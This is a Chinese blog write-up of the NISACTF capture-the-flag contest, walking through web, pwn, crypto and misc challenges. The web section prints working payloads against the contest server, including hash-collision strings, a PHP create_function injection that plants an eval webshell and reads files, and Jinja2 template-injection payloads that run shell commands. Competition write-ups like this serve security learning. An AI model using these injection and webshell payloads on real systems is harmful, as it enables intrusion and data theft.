NISACTF_WriteUp

11 篇文章 1 订阅
5 篇文章 3 订阅

WriteUp

WEB

checkin

题目
请添加图片描述
以为白给题,结果输入不对,f12查看源码。发现一些奇怪的东西:
在这里插入图片描述down了源码,本地打开复制‮⁦Ugeiwo⁩⁦cuishiyuan
在这里插入图片描述

Payload:

http://120.27.195.236:28990/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6N1SACTF

level-up

第一关:什么都没有,查看源码,发现disallow,直接访问robots.txt,来到第二关。
在这里插入图片描述
在这里插入图片描述

第二关:md5相等绕过,网上找找MD5碰撞的字符串
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yqW6gpl-1648434574780)(2022-03-27-19-34-48.png)]

payload

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JWjFfORC-1648434574781)(2022-03-27-19-49-25.png)]

hash碰撞样例https://blog.csdn.net/cosmoslin/article/details/120973888
第三关:sha1碰撞,和上面一样
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kGxxEKzY-1648434574783)(2022-03-27-19-50-50.png)]

payload

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LQBUUxIW-1648434574786)(2022-03-27-19-52-29.png)]

第四关:需要传入参数NI_SA_,但是正则匹配不允许上传_,.,(空格),所以需要绕过正则。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X7SEAU9H-1648434574787)(2022-03-27-19-53-21.png)]

百度一下parse_url
url_scheme:@host[:port]][/path][?query][#fragment]
查到这里,发现需要在path前面多加两条/,即可让query匹配不到正确参数。
payload

http://120.27.195.236:28991///level_level_4.php?NI_SA_=txw4ever

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BD18PD7z-1648434574789)(2022-03-27-20-04-11.png)]

第五关:终于到最后一关了,orz…
看一下正则/^[a-z0-9_]*$/isD的意思:

/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行;

那么很显然,所有以数字,字母,下划线等开头的value都会被过滤,我们无法进入下面的.这里有一种bypass方式,在变量前面就上%5c即可。
使用第一个变量传递函数名,第二个变量传递函数内容来get flag。
函数名使用php官方函数create_function
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5FRqU9NX-1648434574790)(2022-03-27-20-06-13.png)]
测试函数执行1:
?a=%5ccreate_function&b=return%222333%22;}phpinfo();/*上传后,函数为

create_function_anonymous(){
    return"2333";}
    phpinfo();
    /*}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xetBqp4F-1648434574791)(2022-03-27-20-31-44.png)]

上传一句话木马:b= return "2333";}eval($_REQUEST['kinnisoy']);/*
遍历目录:
a=%5ccreate_function&b=return%222333%22;}eval($_REQUEST[%27kinnisoy%27]);/*&kinnisoy=var_dump(scandir(%27./%27));
到这层时,发现flag文件,cat读取即可。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0dkgFron-1648434574793)(2022-03-27-20-37-41.png)]

最终payload

/55_5_55.php?a=%5ccreate_function&b=return%222333%22;}eval($_REQUEST[%27kinnisoy%27]);/*&kinnisoy=system(%27cat%20../../../flag%27);

is secret

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WpXe2YZG-1648434574795)(2022-03-27-20-42-10.png)]

嗯?
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZekJ0OGb-1648434574796)(2022-03-27-20-42-51.png)]

嗯嗯?瞅一眼robots.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7FesvSOi-1648434574798)(2022-03-27-20-43-47.png)]

嗯嗯嗯???secret???
查到往年的一道题:https://wwwofai.com/article/2616
wow~ wow~ wow~
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KxREEDhL-1648434574799)(2022-03-27-20-44-33.png)]

/secret?secret=awsdssecret的长度超过4时,会报错。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QJ0Ahh7L-1648434574800)(2022-03-27-20-48-26.png)]

上面给出来RC4加密时的密钥:HereIsTreasure
SSTI模板注入,使用网上的脚本,来编码payload。

#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2022/3/26 19:51 
# @Author  : kinnisoy
# @Email   : kinnisoy@gmail.com
# @File    : secret.py
# @Software: PyCharm
# -*----*--*----*--*----*-
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):
#前往加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt

def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
# #print("rc4加密后的base64编码"+enc_base64)
# payload1 查看当前目录
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# payload2='  查看flag
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

执行代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W2IO44Ee-1648434574801)(2022-03-27-20-54-12.png)]

payload secret=下面的值即可get flag

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xfoMsTF4-1648434574802)(2022-03-27-20-55-17.png)]

PWN

ReorPwn?

题目给了nc,直接开连
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8nWV0Qxy-1648434574803)(2022-03-27-20-57-41.png)]

Tell me what you want to execve:???
反着来?我也会! ls查看!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RglTyNXs-1648434574805)(2022-03-27-20-58-59.png)]

cat flag 拿下!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qGh9BEF4-1648434574806)(2022-03-27-20-59-48.png)]

CRYPTO

sign_crypto

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d8D7blYW-1648434574807)(2022-03-27-21-00-44.png)]

?什么鬼 希腊字母?看看百度
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkV8tGSs-1648434574808)(2022-03-27-21-02-32.png)]

这给出来的就是flag的格式,{ }括号告诉我的
再看看表,求和符号就是S吧,哎?
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WpiTfPo2-1648434574809)(2022-03-27-21-05-58.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4O7vSsBE-1648434574810)(2022-03-27-21-06-45.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u3VY7RpB-1648434574812)(2022-03-27-21-07-39.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BdsFT6pN-1648434574813)(2022-03-27-21-09-54.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1imWtslh-1648434574814)(2022-03-27-21-14-53.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0jF28Qc-1648434574815)(2022-03-27-21-15-39.png)]

查表对应即可。nisa那个地方,其实是上面的帽子符号,是widehat。所以是W。

funnycaeser

NRQ;P<uLliW^(XQ/QT\NDh
拿到密文,一看funny,就知道一点都不funny。
常规解,无解。
想到之前有变异凯撒的一道题,第一位位移x,第二位位移x+1,依次下去。
来写脚本看看:这是第1次,从1开始偏移;第二次从2开始偏移;…26次
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEWYPFqT-1648434574816)(2022-03-27-21-28-24.png)]

发现第一个flag的形状出来了,但是不太对,NSSCTF中的CF显示不正确,对比ascii码表,发布剔除掉中间5个特殊符号后,便可以对应是,所以修改脚本。

#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2022/3/25 23:40 
# @Author  : kinnisoy
# @Email   : kinnisoy@gmail.com
# @File    : ezcaeser.py
# @Software: PyCharm
# -*----*--*----*--*----*-
m=r'NRQ;P<uLliW^(XQ/QT\NDh'
num=[0]
for i in range(len(m)):
    if(i==0):
        num[0]=ord(m[i])
        continue
    if(ord(m[i])<65 or 90<ord(m[i])<97):
        num.append(ord(m[i])+5)
        continue
    num.append(ord(m[i]))

for change in range(1):
    flag = ''
    for i in range(len(num)):
        flag+=chr((i+change+num[i]))
    print(flag)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MdObjAEk-1648434574818)(2022-03-27-21-31-25.png)]

提交flag,不对?等等 题目是啥?凯撒!把X改成r提交。ok!
最后一个为啥解出来是X,咱也不清楚。
反正题目上的caesar也没写对,暴打出题人就完了。

normal

直接解码就行
ook => unicode => base64 => BubbleBabble => rot13

xor

分析拿到的文件,将32位的比特,分成左右两部分,与八个16位的密钥做异或。
可以分别得到密钥中1、3、5、7异或结果的等价16位比特,2、4、6、8异或结果的等价16位比特,分别恢复出flag的左右两半部分,再拼起来。

#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2022/3/26 14:04 
# @Author  : kinnisoy
# @Email   : kinnisoy@gmail.com
# @File    : xor.py
# @Software: PyCharm
# -*----*--*----*--*----*-
import os
import base64
from Crypto.Util import number, strxor

a_b64='i03yXzXWe4QTiwJHlUZo6iqEdDkwJVviSOQ7CM3vJmM='
enc_a_b64='4EnYOhbivTMP5r4VYLA8cwJBFTXIeeKAoNf/3ctgLLA='
enc_flag_b64='+qyVMEei1eN3YbV/z2kjcaCKngWc2pW2/e7HwpXKaj0='
a=base64.decodebytes(bytes(a_b64, encoding='utf8'))
enc_a=base64.decodebytes(bytes(enc_a_b64, encoding='utf8'))
enc_flag = base64.decodebytes(bytes(enc_flag_b64, encoding='utf8'))

def get_m0(a: bytes, r8: bytes):
    l = a[:16]
    r = a[16:]
    m0 = strxor.strxor(strxor.strxor(r, l), r8)
    return m0

def get_m1(a: bytes, l8: bytes):
    # l = a[:16]
    r = a[16:]
    m1 = strxor.strxor(r, l8)
    return  m1

def get_flag_right(l8: bytes, m1: bytes):
    return strxor.strxor(l8, m1)
def get_flag_left(fr: bytes, m0: bytes, right: bytes):
    return strxor.strxor(strxor.strxor(fr, right), m0)

def get_flag(enc_flag,a,enc_a):
    l8 =enc_a[:16]
    r8 = enc_a[16:]
    m1 = get_m1(a,l8)
    m0 = get_m0(a,r8)
    fl8= enc_flag[:16]
    fr8 = enc_flag[16:]
    right = get_flag_right(fl8,m1)
    left = get_flag_left(fr8,m0,right)
    return  left+right

flag=get_flag(enc_flag,a,enc_a)
print(flag)
# print(flag.decode('utf-8'))

MISC

签到

嗯。

huaji?

查看附件,文件头为jpg,恢复文件后缀。
binwalk 分析,得到压缩包。有密码?
发现图片右键属性中有一串字符
拿去十六进制转字符,emmmm 压缩包密码。
解压,拿到真正的flag。

bqt

查看附件,文件头为pdf,恢复文件后缀。
CTRL+A,选中了点什么,直接复制出来。
字母最大到f,应该是十六进制。
拿去在线解,发现乱码,应该是超出ascii码范围了。
python一下!

#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2022/3/26 0:39 
# @Author  : kinnisoy
# @Email   : kinnisoy@gmail.com
# @File    : misc_pdf.py
# @Software: PyCharm
# -*----*--*----*--*----*-
cipher = "c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
print(''.join([chr(int(cipher[i:i + 2], 16) - 128) for i in range(0,len(cipher), 2)]))
where_is_here

百度识图,携程的链接点进去,确认是厦门鼓浪屿的旅馆,查看联系电话。

不愉快的地方

百度识图,确认是清溪川,科学上网,google地图记录经纬度,清溪川,看到官网,点进去
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-poAYFKJV-1648434574820)(2022-03-27-22-00-41.png)]

查看组织架构图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-liLlHSTN-1648434574822)(2022-03-27-22-01-50.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P4UZ9Ed5-1648434574823)(2022-03-27-22-02-24.png)]

福利题

来晚了,没抢到奶茶!!!

问卷

嗯。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kinnisoy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值